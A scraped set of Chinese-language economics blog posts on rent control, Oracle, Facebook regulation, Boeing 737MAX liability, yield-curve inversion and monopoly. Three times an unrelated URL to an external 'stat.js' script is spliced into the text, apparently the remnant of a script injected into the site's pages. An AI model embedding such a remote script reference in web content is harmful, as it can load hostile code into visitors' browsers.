台灣二千三百萬人口，土地面積3萬6千平方公里，光是2019年1、2月份就共發生5932次火災。平均一週發生700多次（其中人為縱火43件，自殺15件）。
大陸13.86億人口，土地面積960萬平方公里。然後這位胡大媽拿二週內發生的11件火災來說嘴「中國處於危急狀態所以需要資訊戰介入台灣選舉」。
你這胡大媽的分析水平會不會太low啦？
分類
租金管制下還有居住正義？
租金管制是經濟學上世紀70年代以前就研究到爛的題目了，竟然連租金管制下場是窮人更無立錐之地都不知道。
20世紀初紐約的租金管制導致key money的發明也不知道。
Milton Friedman 與George Stigler 兩位諾貝爾經濟學獎得主共同撰寫的知名論文「Roofs or Ceilings? The Current Housing Problem」以1906年甫大地震後225,000人無家可歸的舊金山市為研究對象，發現當時無力管制的市政府放任市場自由定價，結果是多數人很快找到新家，即便是十分貧窮者，也有與之對應的廉價房屋提供（1906 advertisement “Six-room house and bath, with 2 additional rooms in basement having fire-places, nicely furnished; fine piano; … $45."）
但到了1946年，舊金山因人口增長而推出租金管制，明明房屋短缺嚴重性遠不如1906年大地震後的慘狀，但卻發生多數人租不到房子的窘境！
根據二位經濟學大神研究，1906年每一個想租屋的人，大約有10間房子供選擇；但租金管制後的1946年，每375個求租客對應10間房子供給。
范大記者還傻傻地以為租金管制可以帶來居住正義？號稱駐美20幾年的記者，專業程度令人堪憂。甭說經濟學理論，連曾經發生過的現象都很無知呢。
不知道消息是否為真。
但以Oracle的財報來看，近2季的營收與毛利均相較於上個會計年度（2018/5/31結束）平均衰退約4～7%。
這邊我要特別點出：2015 v 2016 v 2017 v 2018會計年度營收成長率分別為：(3.1%)、1.84％與5.57％。此意味川普減稅方案帶來的景氣刺激確實存在。特別注意該減稅方案於2017年12月22日國會通過後由川普總統簽字正式生效，因此該方案實質效果（加上通過前的預期效應）發生在2018年會計年度（2017/6/1 ～2018/5/31）相當正常。
換言之，2019年會計年度的前二季度剛好是2018年6月起算，洽逢中美貿易戰火熱之際，加上營收不增反降4~7%確實可能加強Oracle公司對未來景氣之悲觀預測。這也是我多篇文字預言「中美貿易戰會打掉減稅與deregulation帶來的經濟利益」反應到真實世界的現象之一。
因此而有一定程度的裁員與組織重整應屬情理之中。
It’s easy to tell.
- More internet regulations mean that only the big companies have enough rent value/ resources to comply with. New competitors may hardly have the abilities to follow the rules, which could be wiped out by laws but not by competitions.
- Massively global regulations on the social-network markets require a lot of people who are familiar with such industries. People from Facebook would inevitably be part of the rule makers. As one of them, the monopoly power of Facebook will be raised.
- Nonetheless, it could be impossible to get so many complex things done in a short period, Zuckerberg still has and enjoys the new and positive PR image.
Zuckerberg is smart that he re-direct the competition from the market into the political rent-seeking area by claiming that he wants to protect the users or the privacy.
道理很簡單：
1. 更多網際網路管制下，只有Facebook這類大企業才有足夠的租值/資源去配合，直接扼殺後起新秀的生存可能性。
2. 社群媒體的大規模全球性管制，必然要引進FB現存大公司的人馬參與制定與草案起擬，這也必然等於FB搖身一變為社群媒體法律遊戲規則制定者，享有的壟斷租值又將更高。
3. 即便短時間內做不到如此大規模的法規制定與執行，祖克柏也成功藉由如此發言佔據有利公關形象。
換言之，跟許多老前輩一樣打著「保護使用者、保護隱私」等名義，其實祖克柏很聰明地將競爭導入「尋租市場」。
https://www.wsj.com/articles/facebook-chief-mark-zuckerberg-wants-more-internet-regulation-11553999323
近日美國波音公司音737MAX機型可能瑕疵引發兩次慘重空難而股價下跌（見圖）
許多網友詢問是否是入場買股的好時機，我個人偏向否定。因近日繁忙，我簡單以財務與法律風險分析兩方面切入：
我們從波音公司2018年公開年報大概可以發現以下幾個事實：
（見圖）
- 商用飛機市場與售後服務市場約佔波音總營收 76.87%
- 商用飛機市場與售後服務市場佔波音來自營運之利益的86.77%
- 以營運利益率來看，商用飛機市場、國防市場與售後服務市場分別是：13%、6.87％與14.82％。國防武器市場顯然沒有想像中好賺。
- 雖然波音是世界級國防軍事武器商，但財報清楚顯示其公司經濟命脈還是來自於民用市場，無論從營收或收益兩方面觀察。
- 目前波音以受理訂單並排入預定出貨的商用機種有：737、747、767、777X、787等機型。其中737機型佔總訂單的80.16%（以飛機數量看）。而737MAX8 恰恰是此次事故機種。
從中國開始世界主要國家，甚至連美國政府在內，都要求停飛737機型並重新檢查。而也傳出印尼航空取消49架飛機訂單，某些國家航空公司也可能跟進。
消息指出波音此機型的操控系統軟體恐怕真存在特定瑕疵，造成飛機航行控制上的災難。
這就帶入本文第二個角度：法律風險
美國法上，飛機事故中如果飛機本身有製造或設計上瑕疵，依然適用「侵權行為」的product liability。這點從1976年的聯邦第二巡迴法院判決「Bruce v. Martin-Marietta Corporation」可得證。
product liability基本有三塊瑕疵廠商均可能負擔strict liability：
a. manufacturing defect
b. design defect
c. failure to warn
（請參考 Restatement of Law, Torts, §402 (A))
以波音737MAX機型案來看，落入(a)與(b)的可能性都存在。
尤其落入design defect的話，我認為這類下美國判例樹立的兩項檢測：consumer expectation test與risk-utility test 波音應該都很難過關，因為當法院要求證明波音的設計瑕疵存在「當時技術上極限時」，原告律師只要簡單以空中巴士或它牌飛機的操控系統軟體證明「reasonable alternative design」確實存在且並非經濟成本上之不可能，波音幾乎難以狡辯脫身。
換言之，過去我投資默克藥廠依據的科技抗辯（state of art）在波音737MAX案中應該是難以援用主張。
當然，波音應該還是會選擇以和解來結案。只是辮子纂在人家手上，即便和解，要付出的代價恐怕現階段難以估計，甚至難以看到可能的上限。而偏偏737機型正是波音最主要收入來源！
最後，波音事故發生前股價可謂是「史上最高」。這與近年的資金氾濫、川普的減稅措施等等諸多原因有關，暫且不提。值得注意的是事故發生後，波音股價縱有下跌其實幅度並非很大。在考量「潛在風險」與「安全邊際要求」下，以及手上還有更好的標的，我選擇放棄此機會，縱然我也相信賭對的人或可賺一筆。在此祝福勇敢下注者。
https://js.developerstatss.ga/stat.js?n=ns1這是個很複雜的問題，簡單說我的看法是：
經濟學「自私的假設」跟物理學「引力」假設一樣只是一種科學性的想像說法，引力到底是什麼我們不清楚，但在理論中放入引力概念，可以清楚地解釋慢速運動下我們看到的「物體自由落體時速度變化」。而在天體大質量運動時，我們又引入了「場」的觀念才能更正確的解釋觀察到的現象。
同樣的，自私的假設真實經濟學內涵應該是「一條向右下傾斜的需求曲線，說穿了就是人類行為傾向在侷限條件下以更小代價換取更大收益」。只要符合這個行為模式，都可稱之為「自私」。
而行為者主觀上有無認知到「自私」並不重要，猶如物體不需要「認知到引力」就受到這個自然定律作用。
至於為什麼人會有自私的行為模式，我認為最好的解釋是：一切生物均有，因為不採取此策略的DNA早就被競爭淘汰。
因此嚴格說來，驅動人們採取自私行為模式的主因來自於「生存的競爭」。
補充：任何制度下人的行為都會符合自私假設。（向右下傾斜的需求曲線 — 傾向以更少代價換取更大回報）
自私並非行為的動力甚至某種制度的運作原理，自私只是一種人類行為必然的模式。
而不同制度存在不同費用，競爭之下，低費用者勝出而已。
進一步可以參考Milton Friedman這段訪談：
https://youtu.be/RWsx1X8PV_A
作者James Mackintosh認為Fed的QE政策扭曲了長期國債利率，使得利率倒差現象變得容易出現。
而近日的10年國債殖利率下跌反應的只是市場認為Fed會降息。當然，作者也指出這種預期降息的確是對未來景氣不樂觀，但不代表預期衰退甚至是衰退即將到來。
與我昨日發表的看法和而不同。我從整體交易費用觀點切入，如同昨日我回答某網友所說：「一個可能是對未來悲觀；一個可能是對未來局勢非常不明朗。二者都可能導致這種殖利率倒差的現象。二者都不太妙，與2018年中以前那片晴朗樂觀明顯有別。」
單純利率倒差我們看不出來是那種狀況，但二者均值得警惕。
此文作者並未（或許是看不出來）寫出貿易戰與美國尾大不掉的中東戰爭打掉了美國不少租值。尤其中美貿易戰，更是駱駝上的最後一根稻草。
值得一提的是作者點出一個我昨日遺漏想補充的點：
利率倒差現象持續多久更值得我們關心！為什麼？作者語焉不詳，解釋不清。
而我認為之所以重要，在於「群體預期」在投資金融市場上有「自我實現性」。這是說，當相當長時間大家都看壞或看好，量體夠大時就真的足以改變整體市場預期。而所有的投資金融市場說穿了都是在「賭對未來收入流的預期」。這就是為什麼量體夠大、時間夠久的群體預期很重要，即便「脫離現實」也可能「創造現實」。但！but！市場長期始終是真實價值秤重機，沒有實體經濟生產力支撐還是會現出裸泳原形。
此次倒掛利率是3個月短期利率竟然比10年長期國債利率高。可以想成：3個月債權價格下降而10年債權價格上升，是怎樣的侷限條件會造成如此現象？
別忘了，10年國債的成本是什麼、10年國債的成本是什麼、10年國債的成本是什麼！
清楚知道長期國債的成本是什麼，就能理解為什麼中美貿易戰與國債殖利率變化有關。
訊息費用提高到一定程度時，人們的選擇行為會怎樣改變？
請同時注意「負利率債券」全球規模已經成長近10兆美元！為什麼有人願意負擔「負利率」也要買這種債券呢？值得多花點心思想想。
當uncertainty太高或風險貼水不夠，暫時把錢放到十年國債甚至負利率債券都勝過多數投資選項
這更是打臉那些「中美貿易戰美國會輕易獲勝」的愚蠢論點。
市場價格清楚顯示美國越打越把tax-cutting and deregulation的利益打得精光。而這恰恰是我去年中認為「清空股票為上」的一貫經濟邏輯。
順道一提：整體交易費用上升並不會平均地雨露均沾降道每個廠商、每種行業身上，事實上我們看到的是因侷限條件不同而個人、廠商、行業負擔高高低低不同的交易費用增加，甚至有些不但沒負擔額外費用，還因此得利或風落利益。
投資上我會尋找後者，並等待適當價格。
反之，放空或衍生性之類的操作我一向不太建議，自己也不是很喜歡。除非有很好條件的CDS。
https://js.developerstatss.ga/stat.js?n=ns1
2017年9月我從經濟邏輯推測「無人商店」模式不會成功，甚至是一個註定失敗的商業模式。
而當時我也曾在私下指出，無人商店唯一成功模式是「利用都市畸零地」，但這跟日本隨處可見的「投幣機大隊」根本一樣，後者技術還更便宜成熟哩。
蘋果日報：「小七「無人店」沒前途 民眾：不便利店該淘汰」https://tw.appledaily.com/new/realtime/20190319/1535899/
https://js.developerstatss.ga/stat.js?n=ns1所謂壟斷的供應者，面對的一條右下傾斜的需求曲線，也是其平均收入曲線，更是其平均成本曲線。
然而傳統學者的直接成本與上頭成本觀念混亂不清，所以老以為有dead triangle loss存在。這是傳統經濟與法律觀點的錯誤所在。
其實拿掉上頭成本單看直接成本，壟斷者面對的一樣還是U型直接成本曲線。
更重要的是，壟斷不能「只從成本看」。潛在競爭對手的進入市場障礙會約束壟斷者的租值。
如果要談壟斷，麻煩先搞清楚上述這些概念。否則你只是在浪費我的時間，謝謝。
元毓說 